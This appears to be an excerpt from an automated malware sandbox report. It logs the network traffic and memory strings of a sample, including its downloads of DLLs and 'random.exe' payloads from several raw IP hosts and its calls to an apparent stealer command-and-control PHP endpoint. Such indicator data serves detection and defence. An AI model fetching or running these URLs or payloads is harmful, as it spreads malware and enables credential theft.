Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /LCXOUUtXgrKhKDLYSbzW1732019347 HTTP/1.1Host: home.fvtekk5pn.topAccept: /

Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr

String found in binary or memory: "url": "https://www.youtube.com" equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: ntp.msn.com
Source: global traffic	DNS traffic detected: DNS query: bzib.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: clients2.googleusercontent.com
Source: global traffic	DNS traffic detected: DNS query: chrome.cloudflare-dns.com
Source: global traffic	DNS traffic detected: DNS query: home.fvtekk5pn.top

Source: unknown

HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 3592Host: login.live.com

Source: file.exe, 00000000.00000002.2026810670.00000000235D0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1996260643.0000000000E17000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: file.exe, 00000000.00000002.1996260643.0000000000E17000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exeQ
Source: file.exe, 00000000.00000002.1996260643.0000000000DBE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1994265116.00000000002B5000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206
Source: file.exe, 00000000.00000002.1996260643.0000000000E17000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dll
Source: file.exe, 00000000.00000002.1996260643.0000000000E17000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dllA
Source: file.exe, 00000000.00000002.1996260643.0000000000E17000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dll
Source: file.exe, 00000000.00000002.1996260643.0000000000E17000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dlle
Source: file.exe, 00000000.00000002.1996260643.0000000000E17000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dll
Source: file.exe, 00000000.00000002.1996260643.0000000000E17000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dll
Source: file.exe, 00000000.00000002.1996260643.0000000000E17000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dll
Source: file.exe, 00000000.00000002.1996260643.0000000000E17000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dllc
Source: file.exe, 00000000.00000002.1996260643.0000000000E17000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dll
Source: file.exe, 00000000.00000002.1996260643.0000000000E34000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dll
Source: file.exe, 00000000.00000002.1996260643.0000000000E17000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/?
Source: file.exe, 00000000.00000002.1996260643.0000000000E17000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/H
Source: file.exe, 00000000.00000002.2026810670.00000000235D0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1996260643.0000000000E17000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1994265116.00000000002B5000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: file.exe, 00000000.00000002.2026810670.00000000235D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php5
Source: file.exe, 00000000.00000002.2026810670.00000000235D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpA
Source: file.exe, 00000000.00000002.1996260643.0000000000E34000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpfi
Source: file.exe, 00000000.00000002.1994265116.00000000002B5000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpion:
Source: file.exe, 00000000.00000002.2026810670.00000000235D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpp
Source: file.exe, 00000000.00000002.2026810670.00000000235D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpq
Source: file.exe, 00000000.00000002.1996260643.0000000000E34000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpre
Source: file.exe, 00000000.00000002.1996260643.0000000000E17000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpw
Source: file.exe, 00000000.00000002.1996260643.0000000000E17000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpx:
Source: file.exe, 00000000.00000002.1994265116.00000000002B5000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206ubert
Source: skotes.exe, 0000001C.00000002.2703562360.0000000000B4E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 0000001C.00000002.2703562360.0000000000B4E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpk
Source: skotes.exe, 0000001C.00000002.2703562360.0000000000B4E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe
Source: skotes.exe, 0000001C.00000002.2703562360.0000000000B4E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe50623W
Source: skotes.exe, 0000001C.00000002.2703562360.0000000000B4E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exephp
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: chromecache_464.5.dr	String found in binary or memory: http://www.broofa.com
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, 00000000.00000002.2035299323.000000006FE8D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000000.00000002.2016018010.000000001D474000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2033552783.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: chromecache_464.5.dr	String found in binary or memory: https://apis.google.com
Source: 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://assets.msn.cn/resolver/
Source: 6052d31c-83b8-4476-97d3-a58ffd9292ad.tmp.11.dr	String found in binary or memory: https://assets.msn.com
Source: 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://assets.msn.com/resolver/
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://bard.google.com/
Source: 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://bit.ly/wb-precache
Source: file.exe, 00000000.00000002.2026810670.00000000235D0000.00000004.00000020.00020000.00000000.sdmp, FIECFBAAAFHIIDGCGCBF.0.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696491991400800003.2&ci=1696491991993.
Source: file.exe, 00000000.00000002.2026810670.00000000235D0000.00000004.00000020.00020000.00000000.sdmp, FIECFBAAAFHIIDGCGCBF.0.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696491991400800003.1&ci=1696491991993.12791&cta
Source: 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://browser.events.data.msn.cn/
Source: 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://browser.events.data.msn.com/
Source: Reporting and NEL.11.dr	String found in binary or memory: https://bzib.nelreports.net/api/report?cat=bingbusiness
